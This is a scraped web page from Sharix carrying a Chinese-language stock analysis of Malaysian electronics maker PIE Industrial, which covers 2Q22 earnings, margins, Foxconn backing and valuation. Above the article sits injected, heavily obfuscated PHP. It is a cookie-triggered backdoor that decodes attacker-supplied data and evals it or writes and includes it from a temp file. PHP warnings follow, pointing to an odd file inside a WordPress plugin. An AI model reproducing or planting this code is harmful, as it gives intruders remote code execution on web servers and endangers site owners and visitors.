$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
PIE 广宇科技盈利退步,产能扩充迎新客? - Sharix

PIE 广宇科技盈利退步,产能扩充迎新客?

大马大型的电子组装公司大部分都是为英国电器大厂戴森 (Dyson) 提供代工的服务,而疫情爆发期间推动家用电器的需求致使大马电子组装公司持续争取新的合约,订单也源源不绝。然而在全球经济已经放缓之际,这股推力还能否延续是值得投资者去探讨的课题。今天,我会和大家探讨这家有鸿海在背后撑腰的中型电子组装公司广宇科技 (PIE Industrial),到底公司近期的发展如何,今年的营收能否持续突破历史新高。

最新季度的业绩报告显示公司在2Q22的营收按年成长25.9% 至RM296.3 million创下单季历史新高,上半年的营收也同比增长13% 至RM563.3 million,主要归功于现有及新客户的强劲需求所推动。但是,公司2Q22的净利却按年下跌38% 至RM8.3 million,这导致1H2022的净利只是微幅增长6.7% 至RM27.1 million。公司的盈利不及预期主要是受到高昂的营运成本所致,当中包括在今年5月政府将最低薪金制从每月RM1,200调高至RM1,500,双倍的加班费用,以及更高的库存损失拨备费用 (Provision for slow moving goods) 。值得注意的是,公司这个季度的库存损失拨备费用从去年同期的RM1.2 million上涨27.7% 至目前的RM3.8 million。

我在上图整理出公司自1Q20的EBITDA margin让大家参考,大家会发现2Q22的EBITDA margin只有6%,创下自2Q20疫情爆发初期最低的水平,这对比过去8个季度平均的10% 有很大的差距。为了改善公司的赚幅,管理层已经在积极和客户进行谈判去调高销售价格。虽然大部分的客户都接受来自公司的价格调涨,但从谈判至反映在业绩报告有时间差,预计在今年下半年会开始逐渐反映价格调涨的效应。另外,公司也表示在今年上半年申请的外劳正在陆续进入公司,预计在9月会完成所有的招聘流程。这会大大增加公司生产线的效率以及降低加班费支出,并预计来到4Q22公司的EBITDA margin会回归正常化。

公司在2020年曾经收获来自日本电子游戏厂商任天堂 (Nintendo) 的订单,而这个订单也让公司FY2021的总营收突破RM1 billion的大关来到RM1.025 billion,按年大幅成长49.4%。根据投行的预测,这个电子游戏厂商的营收占公司总营收的34%,总数大约在RM350 million左右。当时疫情正进入 “全盛时期” ,在居家办公趋势的推动下市场对于娱乐设备的需求非常强劲。来到今年,公司也成功获得来自中国新客户的专用集成电路 (ASIC) 硬件的订单。这个客户把订单从中国迁移至大马的主要原因是在中国当地受到监管环境的改变,并且认为PIE能凭过去良好的生产良率 (Yield rate) 及营运记录未该客户进行生产,尤其是在印刷电路板组装方面 (PCBA) 。

公司已经为该名客户进行首批生产,目前正在洽谈更多的订单。另外,公司已经在今年4月收回此前出租面积为12万平方尺的厂房,并引进新表层安装技术 (SMT) 生产线,预计今年末季可投入生产。这个ASIC的中国客户也决定承担生产材料,保护公司避免原料价格上涨的波动影响盈利表现。另外,公司也可以依靠富士康 (Foxconn) 的购买力和工程专业来简化其业务,减少浪费并提高产量。虽然这个客户的订单可能没有任天堂大,但这也证明公司有能力去寻找更多客户分散生意风险。

PIE目前正在扩建面积大约有15万平方尺,并且配有自动化生产线的工厂,预计足以应付现有和新客户的订单。总的来说,我认为公司的赚幅在未来会逐渐改善,甚至有可能会高于之前的赚幅,这主要是和富士康的合作关系将会为公司带来协同效益。公司是受惠于中美贸易战的主要制造商,跨国公司纷纷从把工厂和生产线从中国搬迁至东南亚去分散营运风险,而拥有鸿海后盾的PIE自然占上优势。

公司的资产负债表也非常干净,目前公司手上的现金为RM35.9 million,而负债有RM74.9 million,处于RM39 million的净负债状态。但PIE的现金部位在过去几个季度都在下滑,在这个季度也正式从净现金转变成净负债。现金流方面,公司在过去10年的营运现金流比较波动,2020至2021年的营运现金流为负值,主要是库存和应收账款的大幅增加所致。另外,公司自2020年至今已经投入了总共RM121.9 million建设新的厂房进行产能扩充。

观察公司的估值,目前PIE的本益比为21倍,对比过去5年平均本益比的18.5倍更高。根据KENANGA的研究显示,该行预计PIE在FY2022的盈利会来到RM67.8 million。目前公司上半年的盈利只有27.1 million,这也表示下半年公司的盈利大约会来到RM40 million。观察过去的盈利记录每年的第四季度向来都是公司的旺季,季度盈利也是全年最高。假设公司今年的获利如投行所预测,以目前RM3.34的股价来计算,公司的远期本益比为19倍左右。

观察大马上市的电子组装公司的基本数据来作对比,目前上述公司的平均估值为14.5倍,当中估值最高的是VS Industry,本益比高达21.8倍。而FPI及MTAG的本益比最低,分别只有8.3倍和11.3倍。我认为市场给予VS的溢价是合理的,主要是因为公司在大马电子组装行业是龙头,客户也比较多元化。另外,大部分的电子组装公司都处于净现金状态,只有VS、ATAIMS以及EG是还处于净负债,但负债比率非常低。

对于PIE的看法,虽然公司在过去两年向市场证明管理层斩获新合约的能力,盈利在去年也创下历史新高,但我对于电子组装公司还是保持比较保守的态度,尤其是组装消费电子产品的公司。这主要是考虑到全球经济放缓对于奢侈品消费的需求会造成冲击,而上述我所列出的公司大多著重在消费电子产品的行列。PIE本身的客户群也比较分散化,除了代工消费电子产品,同时也会涉及在工业相关的器材,成功躲过竞争比较剧烈的电子消费代工产品。我认为PIE目前的估值并不会过于昂贵,但已经是处于合理的水平,上涨的空间会比较有限。其实在大马上市的电子组装公司不只是专注在消费电子,还有涉及汽车LED组装的JHM以及医疗设备器材组装的SCOMNET。这两家公司的产品都是相对比较抗经济衰退,也是迎合未来大趋势的公司。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台